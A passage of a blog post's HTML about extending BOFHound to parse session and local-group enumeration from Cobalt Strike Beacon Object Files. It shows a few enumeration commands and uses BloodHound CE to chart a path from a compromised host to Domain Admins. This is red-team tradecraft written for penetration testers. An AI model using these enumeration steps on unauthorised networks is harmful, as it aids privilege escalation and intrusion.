height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 8&#8202;&#8212;&#8202;Sessions Gathered With NetSessionEnum<em> </em>and NetWkstaGetInfo Resolution</figcaption></figure></div><p>The data returned from <code>NetWkstaGetInfo</code> presents one last hurdle for parsing. Since the API returns NetBIOS names, we can no longer match a computer object on <code>dNSHostName</code>. Instead, BOFHound has to:</p><ol><li><p>Map the NetBIOS domain name to a known LDAP domain object, containing the domain SID</p></li><li><p>Find a computer object in that domain where the <code>sAMAccountName</code> attribute matches the NetBIOS computer name</p></li></ol><p>The NetBIOS domain name translation relies on referral (crossRef) LDAP objects, which contain a <code>nETBIOSName</code> attribute. These can be identified with the query below (Figure 9).</p><pre><code>ldapsearch (netbiosname=*) * 0 "" "CN=Partitions,CN=Configuration,DC=domain,DC=local"</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nFu-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nFu-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 424w, https://substackcdn.com/image/fetch/$s_!nFu-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 848w, https://substackcdn.com/image/fetch/$s_!nFu-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 1272w, https://substackcdn.com/image/fetch/$s_!nFu-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nFu-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png" width="1000" height="606" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:606,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nFu-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 424w, https://substackcdn.com/image/fetch/$s_!nFu-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 848w, https://substackcdn.com/image/fetch/$s_!nFu-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 1272w, https://substackcdn.com/image/fetch/$s_!nFu-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F953e9a8f-a9a5-4d30-8290-02e9d0473a3c_1000x606.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 9&#8202;&#8212;&#8202;Referral Object Containing the nETBIOSName Attribute</figcaption></figure></div><p>TL;DR if you opt to use this second method for session enum, execute the above LDAP query so that BOFHound can properly tie the session to a computer.</p><h3>Local Group Membership Enumeration</h3><p>Local group memberships allow BloodHound to populate the <code>AdminTo</code>, <code>CanRDP</code>, <code>CanPSRemote</code>, and <code>ExecuteDCOM</code> edges. SharpHound queries four local groups for this: <em>ADMINISTRATORS</em>, <em>REMOTE DESKTOP USERS</em>, <em>REMOTE MANAGEMENT USERS</em>, and <em>DISTRIBUTED COM USERS</em>.</p><p>The existing <code>netLocalGroupListMembers</code> BOF already allows us to query these groups. With a modification to one of the returned structures, we can also obtain group members&#8217; SIDs and SID types&#8202;&#8212;&#8202;much better for tying back to LDAP objects than just member names (Figure 10).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zY3i!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zY3i!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 424w, https://substackcdn.com/image/fetch/$s_!zY3i!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 848w, https://substackcdn.com/image/fetch/$s_!zY3i!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 1272w, https://substackcdn.com/image/fetch/$s_!zY3i!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zY3i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png" width="1000" height="793" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/544993a8-8643-4852-9824-46287f4fe75a_1000x793.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:793,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zY3i!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 424w, https://substackcdn.com/image/fetch/$s_!zY3i!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 848w, https://substackcdn.com/image/fetch/$s_!zY3i!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 1272w, https://substackcdn.com/image/fetch/$s_!zY3i!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F544993a8-8643-4852-9824-46287f4fe75a_1000x793.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 10&#8202;&#8212;&#8202;Local Group Membership Collection</figcaption></figure></div><p>The modified BOF can also be run without a group name, using <code>&#8221;&#8221;</code> (e.g., <code>netLocalGroupListMembers2 &#8220;&#8221; host.domain.local</code>), to query all four of the groups we care about.</p><h3>Visualization</h3><p>With all the enumeration we&#8217;re interested in out of the way, we can parse the Beacon logs and load the results into BHCE! The new version of BOFHound doesn&#8217;t introduce any new command-line interface flags, so we can simply run it as usual (Figure 11).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!osDh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!osDh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 424w, https://substackcdn.com/image/fetch/$s_!osDh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 848w, https://substackcdn.com/image/fetch/$s_!osDh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 1272w, https://substackcdn.com/image/fetch/$s_!osDh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!osDh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png" width="1000" height="694" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:694,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!osDh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 424w, https://substackcdn.com/image/fetch/$s_!osDh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 848w, https://substackcdn.com/image/fetch/$s_!osDh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 1272w, https://substackcdn.com/image/fetch/$s_!osDh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb8b80ce-e0b7-41cf-9aad-729a3538d9cd_1000x694.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 11&#8202;&#8212;&#8202;Log File Processing With&nbsp;<em>BOFHound</em></figcaption></figure></div><p>After we load the JSON files into BHCE, we can run a pathfinding query starting from our compromised user or host (<code>CIRI@REDANIA.LOCAL</code> or <code>CINTRA@REDANIA.LOCAL</code>) and ending at the <em>DOMAIN ADMINS </em>group (Figure 12).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8TVF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8TVF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 424w, https://substackcdn.com/image/fetch/$s_!8TVF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 848w, https://substackcdn.com/image/fetch/$s_!8TVF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 1272w, https://substackcdn.com/image/fetch/$s_!8TVF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8TVF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png" width="1000" height="613" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:613,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8TVF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 424w, https://substackcdn.com/image/fetch/$s_!8TVF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 848w, https://substackcdn.com/image/fetch/$s_!8TVF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 1272w, https://substackcdn.com/image/fetch/$s_!8TVF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F65d5f354-f480-4ab5-89a8-3840d0f8855b_1000x613.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 12&#8202;&#8212;&#8202;Attack Path Leveraging HasSession and AdminTo&nbsp;Edges</figcaption></figure></div><p>We can see a path utilizing some of the session and local group data queried via the BOFs!</p><h3>Augmenting SharpHound&#8217;s DCOnly Collection Method</h3><p>Session and local group collection is often the noisiest part of SharpHound execution. It&#8217;s not entirely uncommon to be in a scenario where LDAP object collection via SharpHound is on the table, but session/local group collection is off limits. In one of these situations, it&#8217;s possible to combine approaches using SharpHound&#8217;s <code>DCOnly</code> collection method and then manually enumerating sessions with the new BOFs to add to SharpHound&#8217;s data pull (similar concept to using SharpHound&#8217;s <code>-ComputerFile</code> flag).&nbsp;</p><p>This is fairly straightforward to do&#8202;&#8212;&#8202;after blowing away my graph database container, we can start with a <code>DCOnly</code> collection and upload it to our BHCE instance (Figure 13).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0gI7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0gI7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 424w, https://substackcdn.com/image/fetch/$s_!0gI7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 848w, https://substackcdn.com/image/fetch/$s_!0gI7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 1272w, https://substackcdn.com/image/fetch/$s_!0gI7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0gI7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png" width="1000" height="598" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:598,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0gI7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 424w, https://substackcdn.com/image/fetch/$s_!0gI7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 848w, https://substackcdn.com/image/fetch/$s_!0gI7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 1272w, https://substackcdn.com/image/fetch/$s_!0gI7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e9ff7c4-97c9-44dc-8791-3ce29f18d727_1000x598.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Figure 13&#8202;&#8212;&#8202;SharpHound DCOnly Collection</figcaption></figure></div><p>Once uploaded, we can verify that no sessions or local admins are tied to our test machine, <em>OXENFURT </em>(Figure 14).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Plao!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fadd060e3-5101-4439-a6ad-3695d94990e3_1000x599.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 